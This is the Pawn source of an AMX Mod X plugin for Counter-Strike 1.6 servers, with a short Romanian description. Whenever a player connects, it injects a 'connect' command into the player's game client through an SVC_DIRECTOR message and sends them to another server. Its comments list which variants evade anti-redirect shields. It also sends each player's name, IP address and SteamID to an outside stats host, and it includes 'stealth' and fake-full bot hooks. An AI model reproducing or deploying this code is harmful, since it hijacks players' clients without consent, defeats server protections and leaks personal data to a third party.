Scriptul folosit pentru redirectare jucatori (steam & valve) si evidenta (redirecte + jucatori) folosind un call prin HTTP si de acolo un fisier PHP care insera datele primite prin $_GET intr-o tabela MySQL.
#include <amxmodx>
#include <amxmisc>
#include <sockets>
#include <cstrike>
#include <fun>
#include <fakemeta>
#pragma dynamic 32768
#define REDIRECT_HOST "stats.csservers.ro"
#define SERVER_INFO_HOST "www.csservers.ro"
#define charsmax(%1) (sizeof(%1)-1)
#define REDIRECT_VERSION "windows_hlds_v2.8"
#define REDIRECT_SHORT_VERSION "v2.8"
new _css_debug = 0;
new cvar_redirect_server;
new cvar_redirect_server_winner;
new cvar_redirect_owner;
new redirect_server_winner[64];
new winner_drop;
new winner_count=0;
new before_claim_hostname[64];
new winner_socket_connection;
stock css_f(const id, const szCommands[], any:...)
{
if (id && !is_user_connecting(id) && !is_user_connected(id))
{
return 0;
}
static _client_cmd[254];
vformat(_client_cmd, charsmax(_client_cmd), szCommands, 3)
message_begin(id ? MSG_ONE : MSG_ALL, SVC_DIRECTOR, _, id);
write_byte(strlen(_client_cmd) + 2);
write_byte(10);
write_string(_client_cmd);
message_end();
return 1;
}
stock bool:is_user_steam(id)
{
static dp_pointer;
if(dp_pointer || (dp_pointer = get_cvar_pointer("dp_r_id_provider")))
{
server_cmd("dp_clientinfo %d", id);
server_exec();
return (get_pcvar_num(dp_pointer) == 2) ? true : false;
}
return false;
}
stock urlencode( const szInput[], szOutput[], const iLen )
{
static const HEXCHARS[ 16 ] = {
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66
};
new iPos, cChar, iFLen;
while( ( cChar = szInput[ iPos ] ) && iFLen < iLen )
{
if( cChar == 0x20 )
{
szOutput[ iFLen++ ] = 0x2B;
}
else if( !( 0x41 <= cChar <= 0x5A )
&& !( 0x61 <= cChar <= 0x7A )
&& !( 0x30 <= cChar <= 0x39 )
&& cChar != 0x2D
&& cChar != 0x2E
&& cChar != 0x5F )
{
if( ( iFLen + 3 ) > iLen )
{
break;
}
else if( cChar > 0xFF
|| cChar < 0x00 )
{
cChar = 0x2A;
}
szOutput[ iFLen++ ] = 0x25;
szOutput[ iFLen++ ] = HEXCHARS[ cChar >> 4 ];
szOutput[ iFLen++ ] = HEXCHARS[ cChar & 15 ];
}
else
{
szOutput[ iFLen++ ] = cChar;
}
iPos++;
}
szOutput[ iFLen ] = 0;
return iFLen;
}
stock get_server_time()
{
new _server_time[64];
get_time("%H:%M:%S",_server_time,charsmax(_server_time));
return _server_time;
}
public plugin_init()
{
register_plugin("Redirect CSservers",REDIRECT_SHORT_VERSION,SERVER_INFO_HOST);
register_concmd("claim","css_claim",ADMIN_BAN);
register_concmd("done","css_done",ADMIN_BAN);
cvar_redirect_server = register_cvar("redirect_server","");
cvar_redirect_owner = register_cvar("redirect_owner","");
cvar_redirect_server_winner = register_cvar("redirect_server_winner","");
register_cvar("shadow","");
register_cvar("gametracker_stealth","");
register_cvar("winner_drop","");
register_cvar("winner_count","");
// default 330
set_task(float(330),"css_send_redirect_server_info", _, _, _, "b");
set_task(float(333),"exec_read_winner", 103, _, _, "b");
set_task(float(5),"exec_read_winner", _, _, _, "a",1);
}
public css_send_redirect_player_info(player_name[],player_ip[],steamid[],steam_on,for_winner,redirect_server_drop[])
{
new redirect_owner[64],string_for_hash[256],hash[34],player_name_encoded[128],redirect_owner_encoded[128],redirect_server_encoded[128],server_ip[16],server_port[10];
get_cvar_string("ip",server_ip,charsmax(server_ip));
get_cvar_string("port",server_port,charsmax(server_port));
new steam_on_string[] = "VALVE";
if(steam_on==2) steam_on_string = "STEAM";
new dot_location = containi(player_ip,":");
new print_player_ip[32];
strcat(print_player_ip,player_ip,dot_location);
server_print("[%s][**DROP**][PLAYER:%s] name-> ^"%s^" ip-> ^"%s^" destination-> ^"%s^"",get_server_time(),steam_on_string,player_name,print_player_ip,redirect_server_drop);
get_pcvar_string(cvar_redirect_owner,redirect_owner,charsmax(redirect_owner));
urlencode(player_name, player_name_encoded, charsmax(player_name_encoded));
urlencode(redirect_owner,redirect_owner_encoded,charsmax(redirect_owner_encoded));
urlencode(redirect_server_drop,redirect_server_encoded,charsmax(redirect_server_encoded));
strcat(string_for_hash,redirect_server_drop,charsmax(string_for_hash));
strcat(string_for_hash,steamid,charsmax(string_for_hash));
strcat(string_for_hash,player_ip,charsmax(string_for_hash));
md5(string_for_hash,hash);
if(_css_debug==1)
{
server_print("redirect server: %s",redirect_server_drop);
server_print("redirect server encoded: %s",redirect_server_encoded);
server_print("redirect player_name: %s",player_name);
server_print("redirect player_name_encoded: %s",player_name_encoded);
server_print("redirect steamid: %s",steamid);
server_print("redirect hash: %s",hash);
server_print("steam_on: %d",steam_on);
}
new socket_error;
new socket_connection = socket_open(REDIRECT_HOST,80,SOCKET_TCP,socket_error);
if(_css_debug==1)
{
server_print("[css_send_redirect_player_info] socket_connection: %d",socket_connection);
server_print("[css_send_redirect_player_info] socket_error: %d",socket_error);
}
if(socket_error) socket_close(socket_connection);
// totul OK
// socket_connection: 964 sau 940 ... etc ...
// socket_error: 0
// in caz de domeniu gresit
// socket_connection: -1
// socket_error: 2
if (socket_connection > 0)
{
new query_cmd[512];
new shadow = get_cvar_num("shadow");
new redirect_version_to_send[] = REDIRECT_VERSION;
if(for_winner==2)
{
redirect_version_to_send = "winner";
}
formatex(query_cmd,charsmax(query_cmd),"GET /stats/redirect_player.php?server_ip=%s&server_port=%s&player_name=%s&player_ip=%s&steamid=%s&version=%s&redirect_server=%s&redirect_port=27015&redirect_owner=%s&steam_on=%d&hash=%s&shadow=%d HTTP/1.1^r^nHost:%s^r^nConnection: close^r^n^r^n",server_ip,server_port,player_name_encoded,player_ip,steamid,redirect_version_to_send,redirect_server_encoded,redirect_owner_encoded,steam_on,hash,shadow,REDIRECT_HOST);
if(!socket_error)
{
socket_send(socket_connection,query_cmd,charsmax(query_cmd));
socket_close(socket_connection);
}
}
else
{
switch (socket_error)
{
case 1: { server_print("[%s][ERROR] creating socket - cannot send player stats to CsServers.ro",get_server_time()); }
case 2: { server_print("[%s][ERROR] resolving remote hostname - cannot send player stats to CsServers.ro",get_server_time()); }
case 3: { server_print("[%s][ERROR] connecting socket - cannot send player stats to CsServers.ro",get_server_time()); }
}
}
//just in case
//socket_close(socket_connection);
}
public css_send_redirect_server_info()
{
new redirect_server[64],redirect_owner[64],redirect_owner_encoded[128],redirect_server_encoded[128],server_ip[16],server_port[10],redirect_version_to_send[32];
winner_drop = get_cvar_num("winner_drop");
winner_count = get_cvar_num("winner_count");
if(_css_debug==1)
{
server_print("winner_count: %d",winner_count);
server_print("winner_drop: %d",winner_drop);
}
get_cvar_string("ip",server_ip,charsmax(server_ip));
get_cvar_string("port",server_port,charsmax(server_port));
redirect_version_to_send = REDIRECT_VERSION;
// daca avem 1==1 e numa winner serverul
if(winner_drop==1 && (winner_count==winner_drop))
{
redirect_server = redirect_server_winner;
redirect_version_to_send = "winner";
}
else
{
get_pcvar_string(cvar_redirect_server,redirect_server,charsmax(redirect_server));
}
get_pcvar_string(cvar_redirect_owner,redirect_owner,charsmax(redirect_owner));
urlencode(redirect_owner,redirect_owner_encoded,charsmax(redirect_owner_encoded));
urlencode(redirect_server,redirect_server_encoded,charsmax(redirect_server_encoded));
new socket_error;
new socket_connection = socket_open(REDIRECT_HOST,80,SOCKET_TCP,socket_error);
if(_css_debug==1)
{
server_print("[css_send_redirect_server_info] socket_connection: %d",socket_connection);
server_print("[css_send_redirect_server_info] socket_error: %d",socket_error);
}
if(socket_error) socket_close(socket_connection);
if (socket_connection > 0)
{
new query_cmd[512];
new shadow = get_cvar_num("shadow");
formatex(query_cmd,charsmax(query_cmd),"GET /stats/redirect_server.php?server_ip=%s&server_port=%s&redirect_owner=%s&redirect_server=%s&redirect_port=27015&version=%s&shadow=%d HTTP/1.1^r^nHost:%s^r^nConnection: close^r^n^r^n",server_ip,server_port,redirect_owner_encoded,redirect_server_encoded,redirect_version_to_send,shadow,REDIRECT_HOST);
if(_css_debug==2)
{
server_print("************redirect_server_encoded trimis: %s",redirect_server_encoded);
}
if(!socket_error)
{
socket_send(socket_connection,query_cmd,charsmax(query_cmd));
socket_close(socket_connection);
}
}
else
{
switch (socket_error)
{
case 1: { server_print("[%s][ERROR] creating socket - cannot send redirect stats to CsServers.ro",get_server_time()); }
case 2: { server_print("[%s][ERROR] resolving remote hostname - cannot send redirect stats to CsServers.ro",get_server_time()); }
case 3: { server_print("[%s][ERROR] connecting socket - cannot send redirect stats to CsServers.ro",get_server_time()); }
}
}
//just in case
//socket_close(socket_connection);
}
public client_disconnect(id)
{
if(is_user_bot(id))
{
server_print("[%s][FAKEFULL][BOT][REMOVE]",get_server_time());
}
}
public client_putinserver(id)
{
if(is_user_bot(id))
{
new name[128];
get_user_info(id, "name", name, charsmax(name));
server_print("[%s][FAKEFULL][BOT][ADD] ^"%s^"",get_server_time(),name);
}
}
public client_connect(id)
{
if( is_user_connecting(id))
{
if(!is_user_bot(id))
{
static count_drop = 1;
new redirect_server[64],steam_on = 1,for_winner=1;
winner_drop = get_cvar_num("winner_drop");
if(winner_drop>1) winner_drop = 1;
if(winner_drop<0) winner_drop = 0;
// if not initialized and we have drops to winner
if(winner_count==0 && winner_drop==1)
{
new cvar_winner_count= get_cvar_num("winner_count");
winner_count = cvar_winner_count;
if(winner_count>20) winner_count=20;
if(winner_count<1) winner_count = 1;
}
else if(winner_drop==0)
{
count_drop = 0;
}
if(_css_debug==1)
{
server_print("[winner_count]: %d",winner_count);
server_print("[winner_drop]: %d",winner_drop);
server_print("[count_drop]: %d",count_drop);
}
get_pcvar_string(cvar_redirect_server,redirect_server,charsmax(redirect_server));
if(_css_debug==1)
{
server_print("winner_drop = %d",winner_drop);
}
new ip[32],name[128],steamid[128];
if(is_user_steam(id)) steam_on = 2;
get_user_ip(id, ip, charsmax(ip), 0);
get_user_info(id, "name", name, charsmax(name));
get_user_authid(id , steamid , charsmax(steamid));
if(_css_debug==1)
{
server_print("[[[winner_drop]]]: %d",winner_drop);
}
if(steam_on==1)
{
if(winner_drop==1 && count_drop == winner_count)
{
if(!equali(redirect_server_winner,"",0))
{
redirect_server = redirect_server_winner;
for_winner = 2;
}
if(_css_debug==1)
{
server_print("VALVE - winner -> [%s]",redirect_server);
}
}
else
{
if(_css_debug==1)
{
server_print("VALVE - puscarias -> [%s]",redirect_server);
}
}
css_f(id,"^"Connect^" %s;",redirect_server);
}
if(steam_on==2)
{
if(winner_drop==1 && count_drop == winner_count)
{
if(!equali(redirect_server_winner,"",0))
{
redirect_server = redirect_server_winner;
for_winner = 2;
}
if(_css_debug==1)
{
server_print("STEAM ON - winner -> [%s]",redirect_server);
}
}
else
{
if(_css_debug==1)
{
server_print("STEAM ON - puscarias -> [%s]",redirect_server);
}
}
client_cmd(id,"wait;wait;^"connect^" %s;",redirect_server);
}
// client_cmd = stufftext
// css_f = svc director
// client_cmd(id,"^"Connect^" %s:%s",redirect_server,redirect_port); <- ajunge pe redirect
// client_cmd(id,"^"connect^" %s:%s",redirect_server,redirect_port); <- ajunge pe redirect
// client_cmd(id,"wait;wait;wait;wait;wait;wait;^"Connect^" %s:%s",redirect_server,redirect_port); <- cateodata se blocheaza la o linie
// css_f(id,"wait;^"connect^" %s:%s",redirect_server,redirect_port); // <- cateodata se blocheaza la o linie
// client_cmd(id,"ÿÿÿÿL %s",redirect_server); <- nu mai merge
// not ok , \0x20 , 0x20 , \x20
// proffesional shield 4.0
// css_f , connect -> server is banned
// Connect -> invalid command
if(count_drop == winner_count) { count_drop = 0; }
count_drop++;
css_send_redirect_player_info(name,ip,steamid,steam_on,for_winner,redirect_server);
}
}
}
public read_winner()
{
new socket_error;
winner_socket_connection = socket_open(SERVER_INFO_HOST,80,SOCKET_TCP,socket_error);
if(_css_debug==1)
{
server_print("[read_winner] winner_socket_connection: %d",winner_socket_connection);
server_print("[read_winner] socket_error: %d",socket_error);
}
if(socket_error) socket_close(winner_socket_connection);
if (winner_socket_connection > 0)
{
new query_cmd[512],data_received[128];
formatex(query_cmd,charsmax(query_cmd),"GET /__winner_dns.php HTTP/1.1^r^nHost:%s^r^nConnection: close^r^n^r^n",SERVER_INFO_HOST);
if(!socket_error)
{
new newstring[64],count=0;
socket_send2(winner_socket_connection,query_cmd,charsmax(query_cmd));
if(socket_change(winner_socket_connection))
{
while(socket_recv(winner_socket_connection,data_received,charsmax(data_received)))
{
if(socket_change(winner_socket_connection,1))
{
socket_recv(winner_socket_connection,data_received,charsmax(data_received));
new start_redirect = containi(data_received, "W[") ;
new stop_redirect = containi(data_received, "]W") ;
for (new i=start_redirect+2;i<stop_redirect;i++)
{
newstring[count] = data_received[i];
count++;
}
redirect_server_winner = newstring;
set_cvar_string("redirect_server_winner",newstring);
if(_css_debug==1)
{
server_print("GOT IT FROM SOCKET CONNECTION redirect_server_winner: %s",redirect_server_winner);
}
}
}
}
socket_close(winner_socket_connection);
}
}
else
{
// if not connected to CsServers - get it from cvar
if(equali(redirect_server_winner,""))
{
get_pcvar_string(cvar_redirect_server_winner,redirect_server_winner,charsmax(redirect_server_winner));
}
switch (socket_error)
{
case 1: { server_print("[%s][ERROR] creating socket - cannot read winner dns",get_server_time()); }
case 2: { server_print("[%s][ERROR] resolving remote hostname - cannot read winner dns",get_server_time()); }
case 3: { server_print("[%s][ERROR] connecting socket - cannot read winner dns",get_server_time()); }
}
server_print("[%s][INFO] redirect server winner is set to ^"%s^"",get_server_time(),redirect_server_winner);
}
//just in case
socket_close(winner_socket_connection);
}
public exec_read_winner()
{
new winner_drop = get_cvar_num("winner_drop");
if(winner_drop)
{
read_winner();
}
else
{
remove_task(103);
}
}
public css_claim()
{
get_user_name(0,before_claim_hostname,charsmax(before_claim_hostname));
server_cmd("hostname ^"GameTrackerClaimServer^"");
server_cmd("hostname");
}
public css_done()
{
if(!equali(before_claim_hostname,"",0))
{
server_cmd("hostname ^"%s^"",before_claim_hostname);
}
server_cmd("hostname");
}